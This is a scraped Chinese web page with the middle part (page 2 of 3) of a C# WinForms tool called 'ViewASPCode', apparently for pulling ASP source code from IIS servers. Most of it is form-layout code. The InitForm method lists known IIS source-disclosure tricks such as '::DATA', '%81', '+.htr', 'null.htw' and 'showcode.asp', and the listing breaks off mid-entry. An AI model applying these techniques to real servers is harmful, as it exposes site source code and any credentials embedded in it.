打印本文 打印本文  关闭窗口 关闭窗口
一个用c#写的扫描asp源码漏洞的应用程序
作者:采集员 文章来源:来源于网络 点击数: 更新时间:2005/9/10 14:07:42
           txtServer.Size = new System.Drawing.Size (100, 21);
            mnuHelp.Text = "帮助(&H)";
            mnuHelp.Index = 1;
            mnuHelp.MenuItems.All = new System.WinForms.MenuItem[1] {this.mnuAbount};
            btnClear.Location = new System.Drawing.Point (408, 56);
            btnClear.Size = new System.Drawing.Size (75, 23);
            btnClear.TabIndex = 8;
            btnClear.Text = "清空";
            btnClear.Click += new System.EventHandler (this.btnClear_Click);
            label2.Location = new System.Drawing.Point (224, 16);
            label2.Text = "文件名:";
            label2.Size = new System.Drawing.Size (72, 16);
            label2.Font = new System.Drawing.Font ("宋体", 12);
            label2.TabIndex = 2;
            label1.Location = new System.Drawing.Point (24, 21);
            label1.Text = "主机名:";
            label1.Size = new System.Drawing.Size (72, 16);
            label1.Font = new System.Drawing.Font ("宋体", 12);
            label1.TabIndex = 0;
            mnuAbount.Text = "关于";
            mnuAbount.Shortcut = System.WinForms.Shortcut.CtrlA;
            mnuAbount.Index = 0;
            mnuAbount.Click += new System.EventHandler (this.mnuAbount_Click);
            barStatus.BackColor = System.Drawing.SystemColors.Control;
            barStatus.Location = new System.Drawing.Point (0, 423);
            barStatus.Size = new System.Drawing.Size (568, 18);
            barStatus.TabIndex = 9;
            barStatus.Text = "就绪";
            mainMenu1.MenuItems.All = new System.WinForms.MenuItem[2] {this.mnuFile, this.mnuHelp};
            mnuExit.Text = "退出(&X)";
            mnuExit.Shortcut = System.WinForms.Shortcut.AltF4;
            mnuExit.Index = 3;
            mnuExit.Click += new System.EventHandler (this.mnuExit_Click);
            txtResult.Location = new System.Drawing.Point (16, 96);
            txtResult.Multiline = true;
            txtResult.ScrollBars = System.WinForms.ScrollBars.Both;
            txtResult.TabIndex = 7;
            txtResult.Size = new System.Drawing.Size (536, 312);
            txtResult.Visible = false;
            label3.Location = new System.Drawing.Point (32, 56);
            label3.Text = "使用";
            label3.Size = new System.Drawing.Size (56, 16);
            label3.Font = new System.Drawing.Font ("宋体", 12);
            label3.TabIndex = 5;
            txtFileName.Location = new System.Drawing.Point (304, 16);
            txtFileName.TabIndex = 3;
            txtFileName.Size = new System.Drawing.Size (232, 21);
            this.Text = "ViewASPCode";
            this.StartPosition = System.WinForms.FormStartPosition.CenterScreen;
            this.AutoScaleBaseSize = new System.Drawing.Size (6, 14);
            this.Menu = this.mainMenu1;
            this.ClientSize = new System.Drawing.Size (568, 441);
            this.Controls.Add (this.barStatus);
            this.Controls.Add (this.btnClear);
            this.Controls.Add (this.txtResult);
            this.Controls.Add (this.btnGo);
            this.Controls.Add (this.label3);
            this.Controls.Add (this.cboMethod);
            this.Controls.Add (this.txtFileName);
            this.Controls.Add (this.label2);
            this.Controls.Add (this.txtServer);
            this.Controls.Add (this.label1);
        }

        //菜单项about点击,显示about对话框
        protected void mnuAbount_Click (object sender, System.EventArgs e)
        {
            about objAbout = new about() ;
            objAbout.ShowDialog(this) ;
            objAbout.Dispose() ;
        }

        //初始化窗口
        private void InitForm()
        {
            this.cboMethod.Items.Add("直接读取") ;
            this.cboMethod.Items.Add(".") ;
            this.cboMethod.Items.Add("%81") ;
            this.cboMethod.Items.Add("::DATA") ;
            this.cboMethod.Items.Add("%2e") ;
            this.cboMethod.Items.Add("%2e%41sp") ;
            this.cboMethod.Items.Add("+.htr") ;
            this.cboMethod.Items.Add("\") ;
            this.cboMethod.Items.Add("longhtr") ;
            this.cboMethod.Items.Add(".bak") ;
            this.cboMethod.Items.Add("codebrws.asp") ;
            this.cboMethod.Items.Add("showcode.asp") ;
            this.cboMethod.Items.Add("null.htw") ;
            this.cboMethod.Items.Add("qfullhit.htw") ;
            this.cboMethod.Items.Add("qsum

上一页  [1] [2] [3]  下一页



打印本文 打印本文  关闭窗口 关闭窗口